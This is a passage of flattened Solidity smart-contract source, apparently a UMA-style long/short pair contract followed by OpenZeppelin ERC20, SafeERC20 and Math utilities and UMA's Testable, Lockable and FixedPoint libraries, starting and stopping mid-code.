shortToken.balanceOf(sponsor)); } /**************************************** * INTERNAL FUNCTIONS * ****************************************/ function _getOraclePriceExpiration(uint256 requestedTime) internal returns (int256) { // Create an instance of the oracle and get the price. If the price is not resolved revert. OptimisticOracleInterface optimisticOracle = _getOptimisticOracle(); require(optimisticOracle.hasPrice(address(this), priceIdentifier, requestedTime, customAncillaryData)); int256 oraclePrice = optimisticOracle.settleAndGetPrice(priceIdentifier, requestedTime, customAncillaryData); return oraclePrice; } function _requestOraclePriceExpiration() internal { OptimisticOracleInterface optimisticOracle = _getOptimisticOracle(); // Use the prepaidProposerReward as the proposer reward. if (prepaidProposerReward > 0) collateralToken.safeApprove(address(optimisticOracle), prepaidProposerReward); optimisticOracle.requestPrice( priceIdentifier, expirationTimestamp, customAncillaryData, collateralToken, prepaidProposerReward ); } function _getIdentifierWhitelist() internal view returns (IdentifierWhitelistInterface) { return IdentifierWhitelistInterface(finder.getImplementationAddress(OracleInterfaces.IdentifierWhitelist)); } function _getCollateralWhitelist() internal view returns (AddressWhitelistInterface) { return AddressWhitelistInterface(finder.getImplementationAddress(OracleInterfaces.CollateralWhitelist)); } function _getOptimisticOracle() internal view returns (OptimisticOracleInterface) { return OptimisticOracleInterface(finder.getImplementationAddress(OracleInterfaces.OptimisticOracle)); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Standard math utilities missing in the Solidity language. */ library Math { /** * @dev Returns the largest of two numbers. */ function max(uint256 a, uint256 b) internal pure returns (uint256) { return a >= b ? a : b; } /** * @dev Returns the smallest of two numbers. */ function min(uint256 a, uint256 b) internal pure returns (uint256) { return a < b ? a : b; } /** * @dev Returns the average of two numbers. The result is rounded towards * zero. */ function average(uint256 a, uint256 b) internal pure returns (uint256) { // (a + b) / 2 can overflow, so we distribute return (a / 2) + (b / 2) + ((a % 2 + b % 2) / 2); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../IERC20.sol"; import "../../../utils/Address.sol"; /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20 { using Address for address; function safeTransfer(IERC20 token, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } /** * @dev Deprecated. This function has issues similar to the ones found in * {IERC20-approve}, and its usage is discouraged. * * Whenever possible, use {safeIncreaseAllowance} and * {safeDecreaseAllowance} instead. */ function safeApprove(IERC20 token, address spender, uint256 value) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' // solhint-disable-next-line max-line-length require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender) + value; _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal { unchecked { uint256 oldAllowance = token.allowance(address(this), spender); require(oldAllowance >= value, "SafeERC20: decreased allowance below zero"); uint256 newAllowance = oldAllowance - value; _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */ function _callOptionalReturn(IERC20 token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that // the target address contains contract code and also asserts for success in the low-level call. bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } // SPDX-License-Identifier: AGPL-3.0-only pragma solidity ^0.8.0; import "../../../../common/implementation/FixedPoint.sol"; import "@openzeppelin/contracts/utils/math/SafeMath.sol"; interface ExpiringContractInterface { function expirationTimestamp() external view returns (uint256); } abstract contract LongShortPairFinancialProductLibrary { function percentageLongCollateralAtExpiry(int256 expiryPrice) public view virtual returns (uint256); } // SPDX-License-Identifier: AGPL-3.0-only pragma solidity ^0.8.0; import "./Timer.sol"; /** * @title Base class that provides time overrides, but only if being run in test mode. */ abstract contract Testable { // If the contract is being run in production, then `timerAddress` will be the 0x0 address. // Note: this variable should be set on construction and never modified. address public timerAddress; /** * @notice Constructs the Testable contract. Called by child contracts. * @param _timerAddress Contract that stores the current time in a testing environment. * Must be set to 0x0 for production environments that use live time. */ constructor(address _timerAddress) { timerAddress = _timerAddress; } /** * @notice Reverts if not running in test mode. */ modifier onlyIfTest { require(timerAddress != address(0x0)); _; } /** * @notice Sets the current time. * @dev Will revert if not running in test mode. * @param time timestamp to set current Testable time to. */ function setCurrentTime(uint256 time) external onlyIfTest { Timer(timerAddress).setCurrentTime(time); } /** * @notice Gets the current time. Will return the last time set in `setCurrentTime` if running in test mode. * Otherwise, it will return the block timestamp. * @return uint for the current Testable timestamp. */ function getCurrentTime() public view returns (uint256) { if (timerAddress != address(0x0)) { return Timer(timerAddress).getCurrentTime(); } else { return block.timestamp; // solhint-disable-line not-rely-on-time } } } // SPDX-License-Identifier: AGPL-3.0-only pragma solidity ^0.8.0; /** * @title A contract that provides modifiers to prevent reentrancy to state-changing and view-only methods. This contract * is inspired by https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/utils/ReentrancyGuard.sol * and https://github.com/balancer-labs/balancer-core/blob/master/contracts/BPool.sol. */ contract Lockable { bool private _notEntered; constructor() { // Storing an initial non-zero value makes deployment a bit more expensive, but in exchange the refund on every // call to nonReentrant will be lower in amount. Since refunds are capped to a percentage of the total // transaction's gas, it is best to keep them low in cases like this one, to increase the likelihood of the full // refund coming into effect. _notEntered = true; } /** * @dev Prevents a contract from calling itself, directly or indirectly. * Calling a `nonReentrant` function from another `nonReentrant` function is not supported. It is possible to * prevent this from happening by making the `nonReentrant` function external, and making it call a `private` * function that does the actual state modification. */ modifier nonReentrant() { _preEntranceCheck(); _preEntranceSet(); _; _postEntranceReset(); } /** * @dev Designed to prevent a view-only method from being re-entered during a call to a `nonReentrant()` state-changing method. */ modifier nonReentrantView() { _preEntranceCheck(); _; } // Internal methods are used to avoid copying the require statement's bytecode to every `nonReentrant()` method. // On entry into a function, `_preEntranceCheck()` should always be called to check if the function is being // re-entered. Then, if the function modifies state, it should call `_postEntranceSet()`, perform its logic, and // then call `_postEntranceReset()`. // View-only methods can simply call `_preEntranceCheck()` to make sure that it is not being re-entered. function _preEntranceCheck() internal view { // On the first call to nonReentrant, _notEntered will be true require(_notEntered, "ReentrancyGuard: reentrant call"); } function _preEntranceSet() internal { // Any calls to nonReentrant after this point will fail _notEntered = false; } function _postEntranceReset() internal { // By storing the original value once again, a refund is triggered (see // https://eips.ethereum.org/EIPS/eip-2200) _notEntered = true; } } // SPDX-License-Identifier: AGPL-3.0-only pragma solidity ^0.8.0; import "@openzeppelin/contracts/utils/math/SafeMath.sol"; import "@openzeppelin/contracts/utils/math/SignedSafeMath.sol"; /** * @title Library for fixed point arithmetic on uints */ library FixedPoint { using SafeMath for uint256; using SignedSafeMath for int256; // Supports 18 decimals. E.g., 1e18 represents "1", 5e17 represents "0.5". // For unsigned values: // This can represent a value up to (2^256 - 1)/10^18 = ~10^59. 10^59 will be stored internally as uint256 10^77. uint256 private constant FP_SCALING_FACTOR = 10**18; // --------------------------------------- UNSIGNED ----------------------------------------------------------------------------- struct Unsigned { uint256 rawValue; } /** * @notice Constructs an `Unsigned` from an unscaled uint, e.g., `b=5` gets stored internally as `5*(10**18)`. * @param a uint to convert into a FixedPoint. * @return the converted FixedPoint. */ function fromUnscaledUint(uint256 a) internal pure returns (Unsigned memory) { return Unsigned(a.mul(FP_SCALING_FACTOR)); } /** * @notice Whether `a` is equal to `b`. * @param a a FixedPoint. * @param b a uint256. * @return True if equal, or False. */ function isEqual(Unsigned memory a, uint256 b) internal pure returns (bool) { return a.rawValue == fromUnscaledUint(b).rawValue; } /** * @notice Whether `a` is equal to `b`. * @param a a FixedPoint. * @param b a FixedPoint. * @return True if equal, or False. */ function isEqual(Unsigned memory a, Unsigned memory b) internal pure returns (bool) { return a.rawValue == b.rawValue; } /** * @notice Whether `a` is greater than `b`. * @param a a FixedPoint. * @param b a FixedPoint. * @return True if `a > b`, or False. */ function isGreaterThan(Unsigned memory a, Unsigned memory b) internal pure returns (bool) { return a.rawValue > b.rawValue; } /** * @notice Whether `a` is greater than `b`. * @param a a FixedPoint. * @param b a uint256. * @return True if `a > b`, or False. */ function isGreaterThan(Unsigned memory a, uint256 b) internal pure returns (bool) { return a.rawValue > fromUnscaledUint(b).rawValue; } /** * @notice Whether `a` is greater than `b`. * @param a a uint256. * @param b a FixedPoint. * @return True if `a > b`, or False. */ function isGreaterThan(uint256 a, Unsigned memory b) internal pure returns (bool) { return fromUnscaledUint(a).rawValue > b.rawValue; } /** * @notice Whether `a` is greater than or equal to `b`. * @param a a FixedPoint. * @param b a FixedPoint. * @return True if `a >= b`, or False. */ function isGreaterThanOrEqual(Unsigned memory a, Unsigned memory b) internal pure returns (bool) { return a.rawValue >= b.rawValue; } /** * @notice Whether `a` is greater than or equal to `b`. * @param a a FixedPoint. * @param b a uint256. * @return True if `a >= b`, or False. */ function isGreaterThanOrEqual(Unsigned memory a, uint256 b) internal pure returns (bool) { return a.rawValue >= fromUnscaledUint(b).rawValue; } /** * @notice Whether `a` is greater than or equal to `b`. * @param a a uint256. * @param b a FixedPoint. * @return True if `a >= b`, or False. */ function isGreaterThanOrEqual(uint256 a, Unsigned memory b) internal pure returns (bool) { return fromUnscaledUint(a).rawValue >= b.rawValue; } /** * @notice Whether `a` is less than `b`. * @param a a FixedPoint. * @param b a FixedPoint. * @return True if `a < b`, or False. */ function isLessThan(Unsigned memory a, Unsigned memory b) internal pure returns (bool) { return a.rawValue < b.rawValue; } /** * @notice Whether `a` is less than `b`. * @param a a FixedPoint. * @param b a uint256. * @return True if `a < b`, or False. */ function isLessThan(Unsigned memory a, uint256 b) internal pure returns (bool) { return a.rawValue < fromUnscaledUint(b).rawValue; } /** * @notice Whether `a` is less than `b`. * @param a a uint256. * @param b a FixedPoint. * @return True if `a < b`, or False. */ function isLessThan(uint256 a, Unsigned memory b) internal pure returns (bool) { return fromUnscaledUint(a).rawValue < b.rawValue; } /** * @notice Whether `a` is less than or equal to `b`. * @param a a FixedPoint. * @param b a FixedPoint. * @return True if `a <= b`, or False. */ function isLessThanOrEqual(Unsigned memory a, Unsigned memory b) internal pure returns (bool) { return a.rawValue <= b.rawValue; } /** * @notice Whether `a` is less than or equal to `b`. * @param a a FixedPoint. * @param b a uint256. * @return True if `a <= b`, or False. */ function isLessThanOrEqual(Unsigned memory a, uint256 b) internal pure returns (bool) { return a.rawValue <= fromUnscaledUint(b).rawValue; } /** * @notice Whether `a` is less than or equal to `b`. * @param a a uint256. * @param b a FixedPoint. * @return True if `a <= b`, or False. */ function isLessThanOrEqual(uint256 a, Unsigned memory b) internal pure returns (bool) { return fromUnscaledUint(a).rawValue <= b.rawValue; } /** * @notice The minimum of `a` and `b`. * @param a a FixedPoint. * @param b a FixedPoint. * @return the minimum of `a` and `b`. */ function min(Unsigned memory a, Unsigned memory b) internal pure returns (Unsigned memory) { return a.rawValue < b.rawValue ? a : b; } /** * @notice The maximum of `a` and `b`. * @param a a FixedPoint. * @param b a FixedPoint. * @return the maximum of `a` and `b`. */ function max(Unsigned memory a, Unsigned memory b) internal pure returns (Unsigned memory) { return a.rawValue > b.rawValue ? a : b; } /** * @notice Adds two `Unsigned`s, reverting on overflow. * @param a a FixedPoint. * @param b a FixedPoint. * @return the sum of `a` and `b`. */ function add(Unsigned memory a, Unsigned memory b) internal pure returns (Unsigned memory) { return Unsigned(a.rawValue.add(b.rawValue)); } /** * @notice Adds an `Unsigned` to an unscaled uint, reverting on overflow. * @param a a FixedPoint. * @param b a uint256. * @return the sum of `a` and `b`. */ function add(Unsigned memory a, uint256 b) internal pure returns (Unsigned memory) { return add(a, fromUnscaledUint(b)); } /** * @notice Subtracts two `Unsigned`s, reverting on overflow. * @param a a FixedPoint. * @param b a FixedPoint. * @return the difference of `a` and `b`. */ function sub(Unsigned memory a, Unsigned memory b) internal pure returns (Unsigned memory) { return Unsigned(a.rawValue.sub(b.rawValue)); } /** * @notice Subtracts an unscaled uint256 from an `Unsigned`, reverting on overflow. * @param a a FixedPoint. * @param b a uint256. * @return the difference of `a` and `b`. */ function sub(Unsigned memory a, uint256 b) internal pure returns (Unsigned memory) { return sub(a, fromUnscaledUint(b)); } /** * @notice Subtracts an `Unsigned` from an unscaled uint256, reverting on overflow. * @param a a uint256. * @param b a FixedPoint. * @return the difference of `a` and `b`. */ function sub(uint256 a, Unsigned memory b) internal pure returns (Unsigned memory) { return sub(fromUnscaledUint(a), b); } /** * @notice Multiplies two `Unsigned`s, reverting on overflow. * @dev This will "floor" the product. * @param a a FixedPoint. * @param b a FixedPoint. * @return the product of `a` and `b`. */ function mul(Unsigned memory a, Unsigned memory b) internal pure returns (Unsigned memory) { // There are two caveats with this computation: // 1. Max output for the represented number is ~10^41, otherwise an intermediate value overflows. 10^41 is // stored internally as a uint256 ~10^59. // 2. Results that can't be represented exactly are truncated not rounded. E.g., 1.4 * 2e-18 = 2.8e-18, which // would round to 3, but this computation produces the result 2. // No need to use SafeMath because FP_SCALING_FACTOR != 0. return Unsigned(a.rawValue.mul(b.rawValue) / FP_SCALING_FACTOR); } /** * @notice Multiplies an `Unsigned` and an unscaled uint256, reverting on overflow. * @dev This will "floor" the product. * @param a a FixedPoint. * @param b a uint256. * @return the product of `a` and `b`. */ function mul(Unsigned memory a, uint256 b) internal pure returns (Unsigned memory) { return Unsigned(a.rawValue.mul(b)); } /** * @notice Multiplies two `Unsigned`s and "ceil's" the product, reverting on overflow. * @param a a FixedPoint. * @param b a FixedPoint. * @return the product of `a` and `b`. */ function mulCeil(Unsigned memory a, Unsigned memory b) internal pure returns (Unsigned memory) { uint256 mulRaw = a.rawValue.mul(b.rawValue); uint256 mulFloor = mulRaw / FP_SCALING_FACTOR; uint256 mod = mulRaw.mod(FP_SCALING_FACTOR); if (mod != 0) { return Unsigned(mulFloor.add(1)); } else { return Unsigned(mulFloor); } } /** * @notice Multiplies an `Unsigned` and an unscaled uint256 and "ceil's" the product, reverting on overflow. * @param a a FixedPoint. * @param b a FixedPoint. * @return the product of `a` and `b`. */ function mulCeil(Unsigned memory a, uint256 b) internal pure returns (Unsigned memory) { // Since b is an int, there is no risk of truncation and we can just mul it normally return Unsigned(a.rawValue.mul(b)); } /** * @notice Divides one `Unsigned` by an `Unsigned`, reverting on overflow or division by 0. * @dev This will "floor" the quotient. * @param a a FixedPoint numerator. * @param b a FixedPoint denominator. * @return the quotient of `a` divided by `b`. */ function div(Unsigned memory a, Unsigned memory b) internal pure returns (Unsigned memory) { // There are two caveats with this computation: // 1. Max value for the number dividend `a` represents is ~10^41, otherwise an intermediate value overflows. // 10^41 is stored internally as a uint256 10^59. // 2. Results that can't be represented exactly are truncated not rounded. E.g., 2 / 3 = 0.6 repeating, which // would round to 0.666666666666666667, but this computation produces the result 0.666666666666666666. return Unsigned(a.rawValue.mul(FP_SCALING_FACTOR).div(b.rawValue)); } /** * @notice Divides one `Unsigned` by an unscaled uint256, reverting on overflow or division by 0. * @dev This will "floor" the quotient. * @param a a FixedPoint numerator. * @param b a uint256 denominator. * @return the quotient of `a` divided by `b`. */ function div(Unsigned memory a, uint256 b) internal pure returns (Unsigned memory) { return Unsigned(a.rawValue.div(b)); } /** * @notice Divides one unscaled uint256 by an `Unsigned`, reverting on overflow or division by 0. * @dev This will "floor" the quotient. * @param a a uint256 numerator. * @param b a FixedPoint denominator. * @return the quotient of `a` divided by `b`. */ function div(uint256 a, Unsigned memory b) internal pure returns (Unsigned memory) { return div(fromUnscaledUint(a), b); } /** * @notice Divides one `Unsigned` by an `Unsigned` and "ceil's" the quotient, reverting on overflow or division by 0. * @param a a FixedPoint numerator. * @param b a FixedPoint denominator. * @return the quotient of `a` divided by `b`. */ function divCeil(Unsigned memory a, Unsigned memory b) internal pure returns (Unsigned memory) { uint256 aScaled = a.rawValue.mul(FP_SCALING_FACTOR); uint256 divFloor = aScaled.div(b.rawValue); uint256 mod = aScaled.mod(b.rawValue); if (mod != 0) { return Unsigned(divFloor.add(1)); } else { return Unsigned(divFloor); } } /** * @notice Divides one `Unsigned` by an unscaled uint256 and "ceil's" the quotient, reverting on overflow or division by 0. * @param a a FixedPoint numerator. * @param b a uint256 denominator. * @return the quotient of `a` divided by `b`. */ function divCeil(Unsigned memory a, uint256 b) internal pure returns (Unsigned memory) { // Because it is possible that a quotient gets truncated, we can't just call "Unsigned(a.rawValue.div(b))" // similarly to mulCeil with a uint256 as the second parameter. Therefore we need to convert b into an Unsigned. // This creates the possibility of overflow if b is very large. return divCeil(a, fromUnscaledUint(b)); } /** * @notice Raises an `Unsigned` to the power of an unscaled uint256, reverting on overflow. E.g., `b=2` squares `a`. * @dev This will "floor" the result. * @param a a FixedPoint numerator. * @param b a uint256 denominator. * @return output is `a` to the power of `b`. */ function pow(Unsigned memory a, uint256 b) internal pure returns (Unsigned memory output) { output = fromUnscaledUint(1); for (uint256 i = 0; i < b; i = i.add(1)) { output = mul(output, a); } } // ------------------------------------------------- SIGNED ------------------------------------------------------------- // Supports 18 decimals. E.g., 1e18 represents "1", 5e17 represents "0.5". // For signed values: // This can represent a value up (or down) to +-(2^255 - 1)/10^18 = ~10^58. 10^58 will be stored internally as int256 10^76. int256 private constant SFP_SCALING_FACTOR = 10**18; struct Signed { int256 rawValue; } function fromSigned(Signed memory a) internal pure returns (Unsigned memory) { require(a.rawValue >= 0, "Negative value provided"); return Unsigned(uint256(a.rawValue)); } function fromUnsigned(Unsigned memory a) internal pure returns (Signed memory) { require(a.rawValue <= uint256(type(int256).max), "Unsigned too large"); return Signed(int256(a.rawValue)); } /** * @notice Constructs a `Signed` from an unscaled int, e.g., `b=5` gets stored internally as `5*(10**18)`. * @param a int to convert into a FixedPoint.Signed. * @return the converted FixedPoint.Signed. */ function fromUnscaledInt(int256 a) internal pure returns (Signed memory) { return Signed(a.mul(SFP_SCALING_FACTOR)); } /** * @notice Whether `a` is equal to `b`. * @param a a FixedPoint.Signed. * @param b a int256. * @return True if equal, or False. */ function isEqual(Signed memory a, int256 b) internal pure returns (bool) { return a.rawValue == fromUnscaledInt(b).rawValue; } /** * @notice Whether `a` is equal to `b`. * @param a a FixedPoint.Signed. * @param b a FixedPoint.Signed. * @return True if equal, or False. */ function isEqual(Signed memory a, Signed memory b) internal pure returns (bool) { return a.rawValue == b.rawValue; } /** * @notice Whether `a` is greater than `b`. * @param a a FixedPoint.Signed. * @param b a FixedPoint.Signed. * @return True if `a > b`, or False. */ function isGreaterThan(Signed memory a, Signed memory b) internal pure returns (bool) { return a.rawValue > b.rawValue; } /** * @notice Whether `a` is greater than `b`. * @param a a FixedPoint.Signed. * @param b an int256. * @return True if `a > b`, or False. */ function isGreaterThan(Signed memory a, int256 b) internal pure returns (bool) { return a.rawValue > fromUnscaledInt(b).rawValue; } /** * @notice Whether `a` is greater than `b`. * @param a an int256. * @param b a FixedPoint.Signed. * @return True if `a > b`, or False. */ function isGreaterThan(int256 a, Signed memory b) internal pure returns (bool) { return fromUnscaledInt(a).rawValue > b.rawValue; } /** * @notice Whether `a` is greater than or equal to `b`. * @param a a FixedPoint.Signed. * @param b a FixedPoint.Signed. * @return True if `a >= b`, or False. */ function isGreaterThanOrEqual(Signed memory a, Signed memory b) internal pure returns (bool) { return a.rawValue >= b.rawValue; } /** * @notice Whether `a` is greater than or equal to `b`. * @param a a FixedPoint.Signed. * @param b an int256. * @return True if `a >= b`, or False. */ function isGreaterThanOrEqual(Signed memory a, int256 b) internal pure returns (bool) { return a.rawValue >= fromUnscaledInt(b).rawValue; } /** * @notice Whether `a` is greater than or equal to `b`. * @param a an int256. * @param b a FixedPoint.Signed. * @return True if `a >= b`, or False. */ function isGreaterThanOrEqual(int256 a, Signed memory b) internal pure returns (bool) { return fromUnscaledInt(a).rawValue >= b.rawValue; } /** * @notice Whether `a` is less than `b`. * @param a a FixedPoint.Signed. * @param b a FixedPoint.Signed. * @return True if `a < b`, or False. */ function isLessThan(Signed memory a, Signed memory b) internal pure returns (bool) { return a.rawValue < b.rawValue; } /** * @notice Whether `a` is less than `b`. * @param a a FixedPoint.Signed. * @param b an int256. * @return True if `a < b`, or False. */ function isLessThan(Signed memory a, int256 b) internal pure returns (bool) { return a.rawValue < fromUnscaledInt(b).rawValue; } /** * @notice Whether `a` is less than `b`. * @param a an int256. * @param b a FixedPoint.Signed. * @return True if `a < b`, or False. */ function isLessThan(int256 a, Signed memory b) internal pure returns (bool) { return fromUnscaledInt(a).rawValue < b.rawValue; } /** * @notice Whether `a` is less than or equal to `b`. * @param a a FixedPoint.Signed. * @param b a FixedPoint.Signed. * @return True if `a <= b`, or False. */ function isLessThanOrEqual(Signed memory a, Signed memory b) internal pure returns (bool) { return a.rawValue <= b.rawValue; } /** * @notice Whether `a` is less than or equal to `b`. * @param a a FixedPoint.Signed. * @param b an int256. * @return True if `a <= b`, or False. */ function isLessThanOrEqual(Signed memory a, int256 b) internal pure returns (bool) { return a.rawValue <= fromUnscaledInt(b).rawValue; } /** * @notice Whether `a` is less than or equal to `b`. * @param a an int256. * @param b a FixedPoint.Signed. * @return True if `a <= b`, or False. */ function isLessThanOrEqual(int256 a, Signed memory b) internal pure returns (bool) { return fromUnscaledInt(a).rawValue <= b.rawValue; } /** * @notice The minimum of `a` and `b`. * @param a a FixedPoint.Signed. * @param b a FixedPoint.Signed. * @return the minimum of `a` and `b`. */ function min(Signed memory a, Signed memory b) internal pure returns (Signed memory) { return a.rawValue < b.rawValue ? a : b; } /** * @notice The maximum of `a` and `b`. * @param a a FixedPoint.Signed. * @param b a FixedPoint.Signed. * @return the maximum of `a` and `b`. */ function max(Signed memory a, Signed memory b) internal pure returns (Signed memory) { return a.rawValue > b.rawValue ? a : b; } /** * @notice Adds two `Signed`s, reverting on overflow. * @param a a FixedPoint.Signed. * @param b a FixedPoint.Signed. * @return the sum of `a` and `b`. */ function add(Signed memory a, Signed memory b) internal pure returns (Signed memory) { return Signed(a.rawValue.add(b.rawValue)); } /** * @notice Adds an `Signed` to an unscaled int, reverting on overflow. * @param a a FixedPoint.Signed. * @param b an int256. * @return the sum of `a` and `b`. */ function add(Signed memory a, int256 b) internal pure returns (Signed memory) { return add(a, fromUnscaledInt(b)); } /** * @notice Subtracts two `Signed`s, reverting on overflow. * @param a a FixedPoint.Signed. * @param b a FixedPoint.Signed. * @return the difference of `a` and `b`. */ function sub(Signed memory a, Signed memory b) internal pure returns (Signed memory) { return Signed(a.rawValue.sub(b.rawValue)); } /** * @notice Subtracts an unscaled int256 from an `Signed`, reverting on overflow. * @param a a FixedPoint.Signed. * @param b an int256. * @return the difference of `a` and `b`. */ function sub(Signed memory a, int256 b) internal pure returns (Signed memory) { return sub(a, fromUnscaledInt(b)); } /** * @notice Subtracts an `Signed` from an unscaled int256, reverting on overflow. * @param a an int256. * @param b a FixedPoint.Signed. * @return the difference of `a` and `b`. */ function sub(int256 a, Signed memory b) internal pure returns (Signed memory) { return sub(fromUnscaledInt(a), b); } /** * @notice Multiplies two `Signed`s, reverting on overflow. * @dev This will "floor" the product. * @param a a FixedPoint.Signed. * @param b a FixedPoint.Signed. * @return the product of `a` and `b`. */ function mul(Signed memory a, Signed memory b) internal pure returns (Signed memory) { // There are two caveats with this computation: // 1. Max output for the represented number is ~10^41, otherwise an intermediate value overflows. 10^41 is // stored internally as an int256 ~10^59. // 2. Results that can't be represented exactly are truncated not rounded. E.g., 1.4 * 2e-18 = 2.8e-18, which // would round to 3, but this computation produces the result 2. // No need to use SafeMath because SFP_SCALING_FACTOR != 0. return Signed(a.rawValue.mul(b.rawValue) / SFP_SCALING_FACTOR); } /** * @notice Multiplies an `Signed` and an unscaled int256, reverting on overflow. * @dev This will "floor" the product. * @param a a FixedPoint.Signed. * @param b an int256. * @return the product of `a` and `b`. */ function mul(Signed memory a, int256 b) internal pure returns (Signed memory) { return Signed(a.rawValue.mul(b)); } /** * @notice Multiplies two `Signed`s and "ceil's" the product, reverting on overflow. * @param a a FixedPoint.Signed. * @param b a FixedPoint.Signed. * @return the product of `a` and `b`. */ function mulAwayFromZero(Signed memory a, Signed memory b) internal pure returns (Signed memory) { int256 mulRaw = a.rawValue.mul(b.rawValue); int256 mulTowardsZero = mulRaw / SFP_SCALING_FACTOR; // Manual mod because SignedSafeMath doesn't support it. int256 mod = mulRaw % SFP_SCALING_FACTOR; if (mod != 0) { bool isResultPositive = isLessThan(a, 0) == isLessThan(b, 0); int256 valueToAdd = isResultPositive ? int256(1) : int256(-1); return Signed(mulTowardsZero.add(valueToAdd)); } else { return Signed(mulTowardsZero); } } /** * @notice Multiplies an `Signed` and an unscaled int256 and "ceil's" the product, reverting on overflow. * @param a a FixedPoint.Signed. * @param b a FixedPoint.Signed. * @return the product of `a` and `b`. */ function mulAwayFromZero(Signed memory a, int256 b) internal pure returns (Signed memory) { // Since b is an int, there is no risk of truncation and we can just mul it normally return Signed(a.rawValue.mul(b)); } /** * @notice Divides one `Signed` by an `Signed`, reverting on overflow or division by 0. * @dev This will "floor" the quotient. * @param a a FixedPoint numerator. * @param b a FixedPoint denominator. * @return the quotient of `a` divided by `b`. */ function div(Signed memory a, Signed memory b) internal pure returns (Signed memory) { // There are two caveats with this computation: // 1. Max value for the number dividend `a` represents is ~10^41, otherwise an intermediate value overflows. // 10^41 is stored internally as an int256 10^59. // 2. Results that can't be represented exactly are truncated not rounded. E.g., 2 / 3 = 0.6 repeating, which // would round to 0.666666666666666667, but this computation produces the result 0.666666666666666666. return Signed(a.rawValue.mul(SFP_SCALING_FACTOR).div(b.rawValue)); } /** * @notice Divides one `Signed` by an unscaled int256, reverting on overflow or division by 0. * @dev This will "floor" the quotient. * @param a a FixedPoint numerator. * @param b an int256 denominator. * @return the quotient of `a` divided by `b`. */ function div(Signed memory a, int256 b) internal pure returns (Signed memory) { return Signed(a.rawValue.div(b)); } /** * @notice Divides one unscaled int256 by an `Signed`, reverting on overflow or division by 0. * @dev This will "floor" the quotient. * @param a an int256 numerator. * @param b a FixedPoint denominator. * @return the quotient of `a` divided by `b`. */ function div(int256 a, Signed memory b) internal pure returns (Signed memory) { return div(fromUnscaledInt(a), b); } /** * @notice Divides one `Signed` by an `Signed` and "ceil's" the quotient, reverting on overflow or division by 0. * @param a a FixedPoint numerator. * @param b a FixedPoint denominator. * @return the quotient of `a` divided by `b`. */ function divAwayFromZero(Signed memory a, Signed memory b) internal pure returns (Signed memory) { int256 aScaled = a.rawValue.mul(SFP_SCALING_FACTOR); int256 divTowardsZero = aScaled.div(b.rawValue); // Manual mod because SignedSafeMath doesn't support it. int256 mod = aScaled % b.rawValue; if (mod != 0) { bool isResultPositive = isLessThan(a, 0) == isLessThan(b, 0); int256 valueToAdd = isResultPositive ? int256(1) : int256(-1); return Signed(divTowardsZero.add(valueToAdd)); } else { return Signed(divTowardsZero); } } /** * @notice Divides one `Signed` by an unscaled int256 and "ceil's" the quotient, reverting on overflow or division by 0. * @param a a FixedPoint numerator. * @param b an int256 denominator. * @return the quotient of `a` divided by `b`. */ function divAwayFromZero(Signed memory a, int256 b) internal pure returns 